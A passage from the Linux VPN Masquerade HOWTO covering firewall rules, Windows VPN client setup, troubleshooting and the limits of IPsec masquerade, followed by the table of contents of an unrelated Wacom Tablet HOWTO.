ipfwadm -I -a deny -W eth1 -V 200.200.200.200 -P udp

# Note that this is too open since we're forced to
# specify "-P all" rather than "-P 47" or "-P 50"...
# Allow the PPTP data channel and IPsec ESP traffic out and in
ipfwadm -O -a accept -W eth1 -V 200.200.200.200 -P all -S 222.0.0.2/32 -D 199.0.0.1/32
ipfwadm -I -a accept -W eth1 -V 200.200.200.200 -P all -D 222.0.0.2/32 -S 199.0.0.1/32

# Block all other traffic from the internet.
# This is essentially a "default deny" that
# only applies to the internet interface.
ipfwadm -I -a deny -W eth1 -V 200.200.200.200

3.11 ipchains setup for a Registered-IP VPN Server

Setting up a registered-IP VPN server behind a Linux firewall is a simple matter of making sure the appropriate routing and packet-filter commands are in place. Masquerading is not required.

The firewall rules will look something like this:

# Specify the acceptable clients explicitly for tighter security.
# Allow the IPsec ISAKMP traffic in and out.
ipchains -A input  -j ACCEPT -p udp -s 199.0.0.2/32 500 -d 222.0.0.2/32 500 -i eth1
ipchains -A output -j ACCEPT -p udp -d 199.0.0.2/32 500 -s 222.0.0.2/32 500 -i eth1
ipchains -A input  -j ACCEPT -p udp -s 199.0.0.3/32 500 -d 222.0.0.2/32 500 -i eth1
ipchains -A output -j ACCEPT -p udp -d 199.0.0.3/32 500 -s 222.0.0.2/32 500 -i eth1
# Allow the IPsec ESP traffic in and out.
ipchains -A input  -j ACCEPT -p 50  -s 199.0.0.2/32     -d 222.0.0.2/32     -i eth1
ipchains -A output -j ACCEPT -p 50  -d 199.0.0.2/32     -s 222.0.0.2/32     -i eth1
ipchains -A input  -j ACCEPT -p 50  -s 199.0.0.3/32     -d 222.0.0.2/32     -i eth1
ipchains -A output -j ACCEPT -p 50  -d 199.0.0.3/32     -s 222.0.0.2/32     -i eth1
# Allow the PPTP control channel in and out.
ipchains -A input  -j ACCEPT -p tcp -s 199.0.0.2/32 -d 222.0.0.2/32 1723 -i eth1
ipchains -A output -j ACCEPT -p tcp -d 199.0.0.2/32 -s 222.0.0.2/32 1723 -i eth1
ipchains -A input  -j ACCEPT -p tcp -s 199.0.0.3/32 -d 222.0.0.2/32 1723 -i eth1
ipchains -A output -j ACCEPT -p tcp -d 199.0.0.3/32 -s 222.0.0.2/32 1723 -i eth1
# Allow the PPTP tunnel in and out.
ipchains -A input  -j ACCEPT -p 47  -s 199.0.0.2/32 -d 222.0.0.2/32      -i eth1
ipchains -A output -j ACCEPT -p 47  -d 199.0.0.2/32 -s 222.0.0.2/32      -i eth1
ipchains -A input  -j ACCEPT -p 47  -s 199.0.0.3/32 -d 222.0.0.2/32      -i eth1
ipchains -A output -j ACCEPT -p 47  -d 199.0.0.3/32 -s 222.0.0.2/32      -i eth1

If you are installing firewall rules on forwarding and/or rules on the inner interface, you will have do do something similar. The above example only covers VPN traffic; you will have to merge it into your existing firewall setup to allow any other traffic you need.

3.12 ipchains setup for a Registered-IP VPN Client

Setting up a registered-IP VPN client behind a Linux firewall is similar to setting up a registered-IP VPN server.

The firewall rules will look something like this:

# Allow the IPsec ISAKMP traffic out and in.
ipchains -A output -j ACCEPT -p udp -s 222.0.0.2/32 500 -d 199.0.0.1/32 500 -i eth1
ipchains -A input  -j ACCEPT -p udp -d 222.0.0.2/32 500 -s 199.0.0.1/32 500 -i eth1
# Allow the IPsec ESP traffic out and in.
ipchains -A output -j ACCEPT -p 50  -s 222.0.0.2/32     -d 199.0.0.1/32     -i eth1
ipchains -A input  -j ACCEPT -p 50  -d 222.0.0.2/32     -s 199.0.0.1/32     -i eth1
# Allow the PPTP control channel out and in.
ipchains -A output -j ACCEPT -p tcp -s 222.0.0.2/32 -d 199.0.0.1/32 1723 -i eth1
ipchains -A input  -j ACCEPT -p tcp -d 222.0.0.2/32 -s 199.0.0.1/32 1723 -i eth1
# Allow the PPTP tunnel out and in.
ipchains -A output -j ACCEPT -p 47  -s 222.0.0.2/32 -d 199.0.0.1/32      -i eth1
ipchains -A input  -j ACCEPT -p 47  -d 222.0.0.2/32 -s 199.0.0.1/32      -i eth1

3.13 VPN Masq and LRP

The Linux Router Project at http://www.linuxrouter.org/ provides a Linux-based firewall-on-a-floppy kit. With a '386 PC, two network cards, and a diskette drive, you can set up a full-featured masquerading firewall. No hard disk is needed.

VPN Masquerade is supposed to be included in LRP version 2.2.9 - to verify it is available, see if ip_masq_ipsec or ip_masq_pptp are listed in the loadable modules in Package Settings -> Modules, or grep /proc/ksyms as described above. If you want to add VPN masquerade to an earlier version of LRP then somebody on the LRP mailing list may be able to provide a diskette image for you, or you can roll your own kernel using the instructions available on the LRP home page.

The firewall rules would be added to the startup script file in Network Settings -> Direct Network Setup.

3.14 VPN Masq on a system running FreeS/WAN or PoPToP

If you are going to be using the firewall as an IPsec gateway with FreeS/WAN, you must not enable IPsec masquerade. If you are going to be using the firewall as a PPTP server with PoPToP, or a PPTP client using the Linux PPTP client software, you must not enable PPTP masquerade.

VPN masquerade and a VPN client or server using the same protocols cannot at this time coexist on the same computer.

Your firewall can, however, be a FreeS/WAN IPsec VPN gateway while masquerading PPTP traffic, or vice-versa.


Linux VPN Masquerade HOWTO: Configuring the VPN client

 Next Previous Contents

4. Configuring the VPN client

4.1 Configuring a MS W'95 client

  1. Set up your routing so that the Linux firewall is your default gateway:
    1. Open Control Panel/Network or right-click "Network Neighborhood" and click on Properties.
    2. Click on the Configuration tab.
    3. In the list of installed network components, double-click on the "TCP/IP -> whatever-NIC-you-have" line.
    4. Click on the Gateway tab.
    5. Enter the local-network IP address of your Linux firewall. Delete any other gateways.
    6. Click on the "OK" button.
  2. Test masquerading. For example, run "telnet my.isp.mail.server smtp" and you should see the mail server's welcome banner.
  3. Install and configure the VPN software. For IPsec software follow the manufacturer's instructions. For MS PPTP:
    1. Open Control Panel/Network or right-click "Network Neighborhood" and click on Properties.
    2. Click on the Configuration tab.
    3. Click on the "Add" button, then double-click on the "Adapter" line.
    4. Select "Microsoft" as the manufacturer and add the "Virtual Private Networking Adapter" adapter.
    5. Reboot when prompted to.
    6. If you need to use strong (128-bit) encryption, download the strong encryption DUN 1.3 update from the MS secure site at http://mssecure.www.conxion.com/cgi-bin/ntitar.pl and install it, then reboot again when prompted to.
    7. Create a new dial-up phonebook entry for your PPTP server.
    8. Select the VPN adapter as the device to use, and enter the PPTP server's internet IP address as the telephone number.
    9. Select the Server Types tab, and check the compression and encryption checkboxes.
    10. Click on the "TCP/IP Settings" button.
    11. Set the dynamic/static IP address information for your client as instructed to by your PPTP server's administrator.
    12. If you wish to have access to your local network while the PPTP connection is up, uncheck the "Use default gateway on remote network" checkbox.
    13. Reboot a few more times, just from habit... :)

4.2 Configuring a MS W'98 client

  1. Set up your routing so that the Linux firewall is your default gateway and test masquerading as described above.
  2. Install and configure the VPN software. For IPsec software follow the manufacturer's instructions. For MS PPTP:
    1. Open Control Panel/Add or Remove Software and click on the Windows Setup tab.
    2. Click on the Communications option and click the "Details" button.
    3. Make sure the "Virtual Private Networking" option is checked. Then click the "OK" button.
    4. Reboot when prompted to.
    5. If you need to use strong (128-bit) encryption, download the strong encryption VPN Security update from the MS secure site at http://mssecure.www.conxion.com/cgi-bin/ntitar.pl and install it, then reboot again when prompted to.
  3. Create and test a new dial-up phonebook entry for your VPN server as described above.

4.3 Configuring a MS W'ME client

I haven't seen one of these yet. I expect the procedure is very similar to that for W'98. Could someone who has done this let me know what, if any, differences there are? Thanks.

4.4 Configuring a MS NT client

Note: this section may be incomplete as it's been a while since I've installed PPTP on an NT system.

  1. Set up your routing so that the Linux firewall is your default gateway:
    1. Open Control Panel/Network or right-click "Network Neighborhood" and click on Properties.
    2. Click on the Protocols tab and double-click on the "TCP/IP" line.
    3. Enter the local-network IP address of your Linux firewall in the "Default Gateway" box.
    4. Click on the "OK" button.
  2. Test masquerading. For example, run "telnet my.isp.mail.server smtp" and you should see the mail server's welcome banner.
  3. Install and configure the VPN software. For IPsec software follow the manufacturer's instructions. For MS PPTP:
    1. Open Control Panel/Network or right-click "Network Neighborhood" and click on Properties.
    2. Click on the Protocols tab.
    3. Click on the "Add" button, then double-click on the "Point-to-Point Tunneling Protocol" line.
    4. When it asks for the number of Virtual Private Networks, enter the number of PPTP servers you could possibly be communicating with.
    5. Reboot when prompted to.
    6. If you need to use strong (128-bit) encryption, download the strong encryption PPTP update from the MS secure site at http://mssecure.www.conxion.com/cgi-bin/ntitar.pl and install it, then reboot again when prompted to.
    7. Create a new dial-up phonebook entry for your PPTP server.
    8. Select the VPN adapter as the device to use, and enter the PPTP server's internet IP address as the telephone number.
    9. Select the Server Types tab, and check the compression and encryption checkboxes.
    10. Click on the "TCP/IP Settings" button.
    11. Set the dynamic/static IP address information for your client as instructed to by your PPTP server's administrator.
    12. If you wish to have access to your local network while the PPTP connection is up, see MS Knowledge Base article Q143168 for a registry fix. (Sigh.)
    13. Make sure you reapply the most recent Service Pack, to ensure that your RAS and PPTP libraries are up-to-date for security and performance enhancements.

4.5 Configuring for network-to-network routing

Yet to be written.

You really ought to look at FreeS/WAN (IPsec for Linux) at http://www.xs4all.nl/~freeswan/ instead of masquerading.

4.6 Masquerading Checkpoint SecuRemote-based VPNs

It is possible to masquerade Checkpoint SecuRemote-based VPN traffic under certain circumstances.

First, you must configure the SecuRemote firewall to allow masqueraded sessions. On the SecuRemote firewall do the following:

  1. Run fwstop
  2. Edit $FWDIR/conf/objects.C and after the ":props (" line, add or modify the following lines to read:
    :userc_NAT (true)
:userc_IKE_NAT (true)
  3. Run fwstart
  4. Re-install your security policy.
  5. Verify the change took effect by checking both $FWDIR/conf/objects.C and $FWDIR/database/objects.C

If you use the IPsec protocols (called "IKE" by CheckPoint) you don't have to do anything else special to masquerade the VPN traffic. Simply configure your masquerading gateway to masquerade IPsec traffic as described above.

Checkpoint's proprietary FWZ protocol is more complicated. There are two modes that FWZ can be used in: encapsulated mode and transport mode. In encapsulated mode, integrity checking is done over the whole IP packet, just as in IPsec's AH protocol. Changing the IP address breaks this integrity guarantee, thus encapsulated FWZ tunnels cannot be masqueraded.

In transport mode, only the data portion of the packet is encrypted, and the IP headers are not verified against changes. In this mode, masquerading should work with the modifications described above.

The configuration for encapsulated or transport mode is done in the FireWall-1 GUI. In the network object for the Firewall, under the VPN tab, edit the FWZ properties. The third tab in FWZ properties allows you to set encapsulated mode.

You will only be able to masquerade one client at a time.

Further information can be found at:

  • http://www.phoneboy.com/fw1/nat.html,
  • http://www.phoneboy.com/fw1/faq/0141.html
  • http://www.phoneboy.com/fw1/faq/0372.html


Linux VPN Masquerade HOWTO: Troubleshooting

 Next Previous Contents

5. Troubleshooting

5.1 Testing

To test VPN Masquerade:

  1. Bring up your ISP connection from your Linux box and verify that it still works properly.
  2. Verify that regular masquerading still works properly by, for example, trying to browse a Web site or access an FTP server from a masqueraded box on your local network.
  3. PPTP: Verify that you have masquerading of the PPTP control channel properly configured: try to telnet from the PPTP client system to port 1723 on your PPTP server. Don't expect to see anything, but if you get a timeout or an error saying the connection failed, take a look at the masquerade rules on your Linux box to ensure that you are indeed masquerading traffic from your PPTP client to TCP port 1723 on your PPTP server.
  4. PPTP: Attempt to establish a PPTP connection. I recommend you also run RASMON if it is available, as this will give you a minimal amount of information about the status of the connection. If you establish a PPTP connection on the first try, congratulations! You're done!
  5. IPsec: Attempt to establish an IPsec connection.

5.2 Possible problems

There are several things that may prevent a VPN session from being established. We'll work through them going from the client to the server and back again. We will assume you're using a Windows-based client for the examples, as that's the most common case.

  1. Connect information: the "telephone number" in the VPN dialup configuration must be the Internet IP address of the VPN server, or the IP address of the firewall if the server is being masqueraded.
  2. PPTP and strong encryption: unless both client and server have the 128-bit NDISWAN.SYS or W'95/'98 PPTP software, you will not be able to establish a strongly-encrypted session. Unfortunately in my experience this problem does not generate any obvious error messages, it just keeps trying and trying and trying... The strong encryption update can be obtained from the Microsoft secure site URL given in the "Configuring a MS Client" section.

    This may also affect IPsec clients, if they use the MS-supplied encryption libraries rather than using their own libraries.

  3. Routing: verify that the default route on your VPN client is pointing at the Linux masquerade box. Run the route print command and look for an 0.0.0.0 entry.

    If other masqueraded services (such as HTTP, FTP, IRC, etc.) work from your VPN client system then this probably is not the problem.

  4. Masquerading: there are two parts to the VPN session.

    For IPsec, the authentication and key exchange service (ISAKMP), which is a normal UDP session to port 500 on the remote IPsec host, must be configured for masquerading as you would any other UDP service (such as DNS).

    For PPTP, the control channel, which is a normal TCP session to port 1723 on the PPTP server, must be configured for masquerading as you would any other TCP service (such as HTTP).

    The encrypted data channel in IPsec is carried over ESP, IP protocol 50. The encrypted data channel in PPTP is carried over GRE, IP protocol 47. (Note that these are not TCP or UDP port numbers!) Since the 2.0 Linux kernel only lets you specify TCP, UDP, ICMP and ALL IP protocols when creating masquerade rules, you must also masquerade ALL protocol traffic if you are masquerading only specific services. If you are masquerading everything, you don't need to worry about this.

    In order to isolate the firewall rules from the kernel masquerade code, try establishing a VPN connection with your firewall completely open, then if it works, tighten the firewall rules.

    2.0.x ipfwadm completely open firewall:

    ipfwadm -I -p accept
ipfwadm -O -p accept
ipfwadm -F -a accept -m

    2.2.x ipchains completely open firewall:

    ipchains -P input   ACCEPT
ipchains -P output  ACCEPT
ipchains -P forward MASQ

    Do not leave your firewall completely open for any longer than it takes to prove that a masqueraded VPN connection can be established!

  5. Intermediary hops and the Internet: All routers between your Linux firewall and the remote IPsec host must forward packets carrying IP protocol 50. All routers between your Linux firewall and the PPTP server must forward packets carrying IP protocol 47. If you had IPsec or PPTP working when your VPN client system directly dialled your ISP then this probably is not the problem.

    To isolate whether an intermediary hop is blocking GRE traffic, use a patched traceroute to trace the progress of GRE packets. See the resources section for information on the traceroute patch. A similar patch for ESP is in the works.

  6. The remote firewall: the firewall at the server end must allow a system with the IP address assigned to your Linux box by your ISP to connect to port 500/udp on the IPsec host or port 1723/tcp on the PPTP server. If you had the VPN working when your VPN client system directly dialled your ISP then this probably is not the problem.
  7. The server firewall and ESP: the IPsec encrypted data is carried over IP protocol 50. If the firewall the remote IPsec host is behind does not forward ESP traffic in both directions, IPsec will not work. Again, if you had IPsec working when your IPsec client system directly dialled your ISP then this probably is not the problem.
  8. The server firewall and GRE: the PPTP data channel is carried as a GRE-encapsulated (IP protocol 47) PPP session. If the firewall your PPTP server is behind does not forward GRE traffic in both directions, PPTP will not work. Again, if you had PPTP working when your PPTP client system directly dialed your ISP then this probably isn't the problem.
  9. The patch: If your IPsec client successfully authenticates you but cannot establish a network connection, the patch may not be masquerading ESP traffic properly. If your PPTP client establishes the control channel (RASMON beeps and the little telephone lights up) and sends GRE traffic (the upper light in RASMON blinks) but gets no GRE traffic back (the lower light in RASMON does not blink in response) the patch may not be masquerading GRE traffic properly.

    Look in /var/log/messages for log entries showing that VPN traffic was seen. Turning on VPN debugging may help you to determine whether or not the patch is at fault. Also run a sniffer on your internet connection and look for outbound VPN traffic (see below).

  10. Multiple clients: the older PPTP patch does NOT support masquerading of multiple PPTP clients attempting to access the same PPTP server. If you're trying to do this, you should take a look at your network design and consider whether you should set up a PPTP router for your local clients. The 2.0 patch incorporates Call-ID masquerading, which allows multiple simultaneous sessions. Note: do not enable PPTP Call-ID masquerade if you are masquerading a PPTP Server. At the current time this will prevent the server's outbound traffic from being masqueraded.

5.3 Troubleshooting

Most problems can be localized by running a packet sniffer (e.g. tcpdump with the -v option) on your VPN firewall. If everything is working properly, you'll see the following traffic:

  • Client local network:

    IPsec: UDP (destination UDP port 500) and ESP (IP protocol 50) traffic from your IPsec client local network IP to the remote IPsec host's Internet IP. If you don't see this, your IPsec client is misconfigured.

    PPTP: TCP (destination TCP port 1723) and GRE (IP protocol 47) traffic from your PPTP client local network IP to the PPTP server's Internet IP. If you don't see this, your PPTP client is misconfigured.

  • ISP side of client firewall: UDP and ESP or TCP and GRE traffic from the client firewall Internet IP (remember - we're masquerading) to the VPN server's Internet IP. If you don't see this, your masquerade is misconfigured or the patch isn't working.
  • ISP side of server firewall: UDP and ESP or TCP and GRE traffic from the client Internet IP to the VPN server's Internet IP. If you don't see this, the Internet is down :) or some intermediary is blocking ESP or GRE traffic.
  • Boundary network (DMZ) side of server firewall: UDP and ESP or TCP and GRE traffic from the client internet IP to the server IP. If you don't see this, check your firewall rules for forwarding UDP port 500 and IP protocol 50 or TCP port 1723 and IP protocol 47, and the configuration of ipportfw and ipfwd if you're masquerading the server.
  • Boundary network side of server firewall: UDP (source port 500) and ESP or TCP (source port 1723) and GRE traffic from the VPN server IP to the client internet IP. If you don't see this, check the VPN server configuration, including the packet filtering rules on the VPN server.
  • ISP side of server firewall: UDP and ESP or TCP and GRE traffic from the VPN server IP (or firewall IP if the server is masqueraded) to the client internet IP. If you don't see this, check your firewall rules for forwarding UDP port 500 and IP protocol 50 or TCP port 1723 and IP protocol 47.
  • ISP side of client firewall: UDP and ESP or TCP and GRE traffic from the VPN server IP to the client firewall internet IP. If you don't see this, the Internet is acting up again.
  • Client local network: UDP and ESP or TCP and GRE traffic from the VPN server internet IP to the VPN client local network IP. If you see the UDP traffic but not the ESP traffic, or the TCP traffic but not the GRE traffic, the patch isn't working or wasn't properly installed.

You may find it helpful to turn on VPN debugging and recompile your kernel. Add the following to /etc/syslog.conf

# debugging
*.=debug           /var/log/debug
and watch /var/log/messages and /var/log/debug for log messages about the VPN traffic. Note that logging - especially verbose logging - will cause a great deal of disk activity and will cause the log files to grow very large very quickly. Don't turn on debugging unless you need to, and turn it off when you're done.

5.4 MS PPTP Clients and domain-name issues

Thanks to Charles Curley <ccurley@trib.com> for the following:

If you use PPTP (Point to Point Tunneling Protocol) to access a Microsoft Networking (SMB) environment and have your own Microsoft Networking environment in your local private network (Samba or Windows), give your local workgroup a name that does not show up in the remote environment. The reason is that while your PPTP client is logged into the remote environment, it will see the remote environment's domain name servers, and will only see the remote computers in that workgroup.

You should avoid the lazy option. Microsoft ships Windows set up for a default workgroup name of WORKGROUP. Some people will be lazy and accept that as their workgroup when they set up their computers. So there is a good chance that the remote environment will have a workgroup called WORKGROUP, administrators willing or not.

I think that this will apply regardless of the VPN in use, as name services aren't dependent on the transport. If your client(s) can see the WINS servers on the remote network then you may experience this, PPTP or no PPTP.

5.5 MS PPTP Clients and Novell IPX

If you're having trouble with IPX traffic over your PPTP link, please see sections 3.5 and 5.2 in this MS Knowledge Base article: http://microsoft.com/ntserver/nts/downloads/recommended/dun13win95/ReleaseNotes.asp

The same considerations probably apply to Win'98 as well.

Thanks to David Griswold <dgriswol@ix.netcom.com>

5.6 MS network password issues

When you are using a VPN to access a MS network you should remember that you will have to provide two different authentication tokens - one to connect to the VPN server (the VPN password) and the other to access resources on the remote network once the connection is established (the network password).

The VPN password - the username and password you enter into your VPN client when initiating the call to the VPN server - is only used by the VPN server to grant you permission to connect to the network via the VPN. It isn't used for anything else once you're connected.

The VPN password is not used to prove your identity to other computers on the remote network. You must provide another username/password pair - your network password - for that.

There are two ways to supply a network password. Your network password may be the same username/password pair you supplied when logging onto the local network when you started your computer up. If it is different, you can configure your VPN client to ask you for your network password for the remote network once the VPN connection is established.

If you are successfully connecting to the VPN server but you cannot access any of the resources provided by the remote network, then you aren't providing a valid network username/password pair for the remote network. Verify that the username and password for your local network will also work on the remote network, or set your VPN client to prompt you for a username and password for use on the remote network and "log on" to the remote network once the VPN connection is established.

5.7 If your IPsec session always dies after a certain amount of time

If you're having trouble with your IPsec tunnel regularly dying, particularly if checking the system logs on the firewall shows that ISAKMP packets with "zero cookie" values are being seen, here's what's happening:

Earlier versions of the IPsec Masq patch did not change the timeout for masq table entries for ISAKMP UDP packets. The masq table entries for the ISAKMP UDP traffic would time out fairly quickly (relative to the data channel) and be removed; if the remote IPsec host then decided to initiate rekeying before the local IPsec host did, the inbound ISAKMP traffic for the rekey couldn't be routed to the masqueraded host. The rekey traffic would be discarded, the remote IPsec host would think the link had failed, and the connection would eventually be terminated.

The 2.0.x patch has been modified from its original version to increase the timeout on ISAKMP UDP masq table entries. Get the current version of the patch, available via the sites given in the Resources section, and repatch and recompile your kernel.

Also verify that your IPsec Masq Table Lifetime parameter is configured to be the same as or slightly longer than your rekey interval.

5.8 If VPN masquerade fails to work after you reboot

Did you remember to put modprobe ip_masq_pptp.o or modprobe ip_masq_ipsec.o commands into your /etc/rc.d/rc.local startup script if you compiled VPN Masq support as modules?

5.9 If your second PPTP session kills your first session

The PPTP RFC specifies that there may only be one control channel between two systems. This may mean that only one masqueraded client will be able to contact a given PPTP server at a time. See multiclientpptp for more details.


Linux VPN Masquerade HOWTO: IPsec masquerade technical notes and special security considerations

 Next Previous Contents

6. IPsec masquerade technical notes and special security considerations

6.1 Limitations and weaknesses of IPsec masquerade

Traffic that uses the AH protocol cannot be masqueraded. The AH protocol incorporates a cryptographic checksum across the IP addresses that the masquerade gateway cannot correctly regenerate. Thus, all masqueraded AH traffic will be discarded as having invalid checksums.

IPsec traffic using transport-mode ESP also cannot be reliably masqueraded. Transport mode ESP essentially encrypts everything after the IP header. Since, for example, the TCP and UDP checksums include the IP source and destination addresses, and the TCP/UDP checksum is within the encrypted payload and thus cannot be recalculated after the masquerade gateway alters the IP addresses, the TCP/UDP header will fail the checksum test at the remote gateway and the packet will be discarded. Protocols that do not include information about the source or destination IP addresses may successfully use masqueraded transport mode.

Apart from these limitations, IPsec masquerade is secure and reliable when only one IPsec host is being masqueraded at a time, or when each masqueraded host is communicating with a different remote host. When more than one masqueraded host is communicating with the same remote host, a few weaknesses show up:

  • Transport-mode communications are subject to collisions.

    If two or more masqueraded hosts are using transport mode to communicate with the same remote host, and the security policy of the remote host permits multiple transport-mode sessions with the same peer, it is possible for sessions to experience collisions. This happens because the IP address of the masquerading gateway will be used to identify the sessions, and any other identifying information cannot be masqueraded because it is within the encrypted portion of the packet.

    If the remote host's security policy does not permit multiple transport-mode sessions with the same peer, the situation is even worse: the more-recently-negotiated transport mode session will likely completely take over all of the traffic from the older session, causing the older session to "go dead". While the established sessions from the older transport-mode IPsec session may be quickly reset if the remote host isn't expecting to receive the traffic, at least one packet of information will be sent to the wrong host. This information will probably be discarded by the recipient, but it will still be sent.

    Thus, a transport-mode collision may result in leaking of information between the two sessions or termination of one or both sessions. Using IPsec in transport mode via a masquerading gateway is not recommended if there is the possibility that other transport mode IPsec sessions will be attempted via the same masquerading gateway to the same remote IPsec host.

    IPsec using tunnel mode with extruded network addressing (where the masqueraded IPsec host is assigned an IP address from the remote host's network) is not subject to these problems, as the IP addresses assigned from the remote network will be used to identify the sessions instead of using the IP address of the masquerading host.

  • ISAKMP communications are subject to cookie collisions.

    If two or more masqueraded hosts establishing a session to the same remote host happen to select the same initiator cookie when initiating ISAKMP traffic, the masquerading gateway will route all of the ISAKMP traffic to the second host. There is a 1 in 2^64 (i.e. very small) chance of this collision happening for each host, at the time of establishing the initial ISAKMP connection.

    Correcting this requires including the responder cookie in the key used to route inbound ISAKMP traffic. This modification is incorporated into IPsec masquerade for the 2.2.x kernel, and the short window between the time the masqueraded host initiates the ISAKMP exchange and the remote host responds is covered by discarding any new ISAKMP traffic that would collide with the current outstanding traffic. This modification will be backported to the 2.0.x code soon.

  • There may be a collision between SPI values on inbound traffic.

    Two or more masqueraded IPsec hosts communicating with the same remote IPsec host may negotiate to use the same SPI value for inbound traffic. If this happens the masquerading gateway will route all of the inbound traffic to the first host to receive any inbound traffic using that SPI. The possibility of this happening is about 1 in 2^32 for each outstanding ESP session, and may occur on any rekey.

    Since the SPI values refer to different SAs having different encryption keys the first host will not be able to decrypt the data intended for the other hosts, so no data leakage will occur. There is no way for the masquerading gateway to detect or prevent this collision. The only way to prevent this collision is for the remote IPsec host to check the SPI value proposed by the masqueraded host to see if that SPI value is already in use by another SA from the same IP address. It is not likely that this will be done, since it imposes more overhead on an already expensive operation (the rekey) to benefit a small percentage of users in case of a relatively rare event.

  • Inbound and outbound SPI values may be misassociated.

    This is discussed in detail in the next section.

To avoid these problems the 2.2.x code by default prevents the establishment of multiple connections to the same remote host. If the weaknesses exposed by multiple connections to the same remote host are acceptable, you can enable "parallel sessions".

Blocking parallel sessions for security reasons can be annoying: there is no way for the IPsec masquerade code to sniff the session and see when it is terminating, so the masquerade table entries will persist for the IPsec Masq Table Lifetime even if the session terminates immediately after it is established. If parallel sessions are prevented, this means that the server will be unavailable to other clients until the masq table entry for the most recent session has timed out and been deleted. This can be up to several hours.

6.2 Proper routing of inbound encrypted traffic

The portion of the ISAKMP key exchange where the ESP SPI values are communicated is encrypted, so the ESP SPI values must be determined by inspection of the actual ESP traffic. Also, the outbound ESP traffic does not contain any indication of what the inbound SPI will be. This means there is no perfectly reliable way to associate inbound ESP traffic with outbound ESP traffic.

IPsec masq attempts to associate inbound and outbound ESP traffic by serializing initial ESP traffic on a by-remote-host basis. What this means is:

  • If an outbound ESP packet with an SPI value that has not previously been seen (or whose masquerade table entry has expired) is received (which shall hereafter be called an "initial packet"), a masquerade table entry for that SourceAddr+SPI+DestAddr combination is created. It is marked as "outstanding", that is, no inbound ESP traffic has been received for it yet. This is done by setting the "inbound SPI" value in the masq table entry to zero, which is a value reserved for uses such as this. This will happen at the initiation of a new ESP connection and at regular intervals when an existing ESP connection rekeys.

  • As long as the masq table entry is outstanding, no other initial ESP packets for the same remote host will be processed. The packets are immediately discarded, and a system log entry is made saying the traffic is temporarily blocked. This also applies to initial traffic from the same masqueraded host going to the same remote host if the SPI values differ. Traffic to other remote hosts, and traffic where both SPI values are known ("established" traffic) is not affected by this.

  • This could easily lead to a Denial of Service of the remote host, so this outstanding ESP masq table entry is given a short lifetime, and only a limited number of retries of the same traffic are allowed. This permits round-robin access to the remote host if several masqueraded hosts are attempting to initialize simultaneously and responses aren't coming back very quickly, for example due to network congestion or a slow remote host. The retry limitation begins once there is a collision, so the masqueraded IPsec host can wait as long as necessary for a reply until there's a need for serialization.

  • When an ESP packet from the outstanding remote host is received and the SPI value does not appear in any masq table entry, it is assumed that the packet is the response to the outstanding initial packet. The SPI value is stored in that masq table entry, thus associating the SPI values, and the inbound ESP traffic is routed to the masqueraded host. At this point another initial packet for the remote server may be processed.

  • Any ESP traffic with a zero SPI value is discarded as invalid, per the RFC requirements.

There are several ways this can fail to associate traffic properly:

  • Network delays or a slow remote host can cause the response to the first initial packet to be delayed long enough that the init masq table entry expires and a different masqueraded host is given a chance to initialize. This could cause the response to be associated with the wrong outbound SPI, which would cause inbound traffic to be routed to the wrong masqueraded host. If this happens the masqueraded host receiving the traffic in error will discard it because it has an unexpected SPI value, and everybody will eventually time out, rekey and try again. This can be addressed by editing /usr/src/linux/net/ipv4/ip_masq.c (ip_masq_ipsec.c in 2.2.x) and increasing the INIT lifetime or the number of INIT retries permitted, at the cost of increasing the blocking (and DoS) window.

  • Sessions idle or semi-idle (with infrequent inbound traffic and no outbound traffic) for a long period of time may be idle long enough for the masq table entry to expire. If the remote host sends traffic to an established yet masq-expired session while an outstanding init to the same remote host is underway, the traffic may be misrouted for the same reason as described above. This can be addressed by making sure the IPsec Masq Table Lifetime kernel configuration parameter is slightly longer than the rekey interval, which is the longest time any given SPI pair should be used. The problem here is that you may not know all of the rekey intervals if you're masquerading for many remote servers, or some may have their rekey intervals set to unreasonably high values, such as several hours.

  • If there is a delay between a rekey and the transmission of outbound ESP traffic using the new SPI, and during this delay inbound ESP traffic using the new SPI is received, there will be no masq table entry describing how to route the inbound traffic. If another masqueraded host has a pending init with the same remote host, the traffic will be misassociated. Note that serialization of ESP initial traffic does not affect ISAKMP rekey traffic.

The best solution is to have some way to preload the masq table with the properly associated out-SPI/in-SPI pair or some other mapping of remote_host + inbound_SPI to masqueraded_host. This cannot be done by inspecting the ISAKMP key exchange, as it is encrypted. It may be possible to use RSIP (a.k.a. Host-NAT) to communicate with the masqueraded IPsec host and request notification of SPI information once it has been negotiated. This is being investigated. If something is done to implement this it will be done no sooner than the 2.3.x series, as RSIP is a fairly complex client/server NAT protocol.

When an inbound ESP packet with a new SPI is received the masquerading firewall attempts to guess which masqueraded host(s) the unassociated inbound traffic is intended for. If the inbound ESP traffic is not matched to an established session or a pending session initialization, then the packet is sent to the masqueraded host(s) who most recently rekeyed with that remote host. The "incorrect" masqueraded hosts will discard the traffic as being improperly encrypted, and the "correct" host will get its data. When the "correct" host responds, the normal ESP init serialization process occurs.


Wacom Tablet HOWTO

Stefan Runkel <runkel@runkel-it.de>

v1.0.8, 2001-08-11

Installation of Wacom graphic tablets under linux and / or xfree86

1. Copyright

2. Introduction

  • 2.1 New Versions of this Document
  • 2.2 Feedback and Corrections
  • 2.3 Acknowledgements

3. Requirements

  • 3.1 Which Hardware is supported
  • 3.2 Which Software is needed
  • 3.3 Which Software is supported
  • 3.4 What has to be prepared if the Tablet connects to the USB-Port

4. Tablets as Mouse-Replacement for the Linux-Console

  • 4.1 Tablets and gpm

5. Tablets with XFree 3 and XFree 4

  • 5.1 Required XFree Version
  • 5.2 Sample XF86Config snippet for XFree 3
  • 5.3 Sample XF86Config snippet for XFree 4
  • 5.4 Syntax Difference between XFree 3 and XFree 4
  • 5.5 Section Module
  • 5.6 Device Type (XF3) and Type (XF4)
  • 5.7 DeviceName (XF3) and Identifier (XF4)
  • 5.8 Port (XF3) and Device (XF4)
  • 5.9 DebugLevel
  • 5.10 Serial Num (intuos series only)
  • 5.11 Mode absolute, Mode relative
  • 5.12 Device Modes Extension, Core, AlwaysCore
  • 5.13 HistorySize
  • 5.14 Suppress
  • 5.15 TiltMode (XF3) and Tilt (XF4)
  • 5.16 MaxX, MaxY, MaxZ (since alpha 20)
  • 5.17 ResolutionX, ResolutionY, ResolutionZ (since alpha 20)
  • 5.18 TopX, TopY, BottomX, BottomY Statements
  • 5.19 KeepShape
  • 5.20 Threshold
  • 5.21 USB (since alpha 20)

6. Changing configuration from within a running X-Server

  • 6.1 Setting up the Gimp to use XInput devices
  • 6.2 The Switch Device
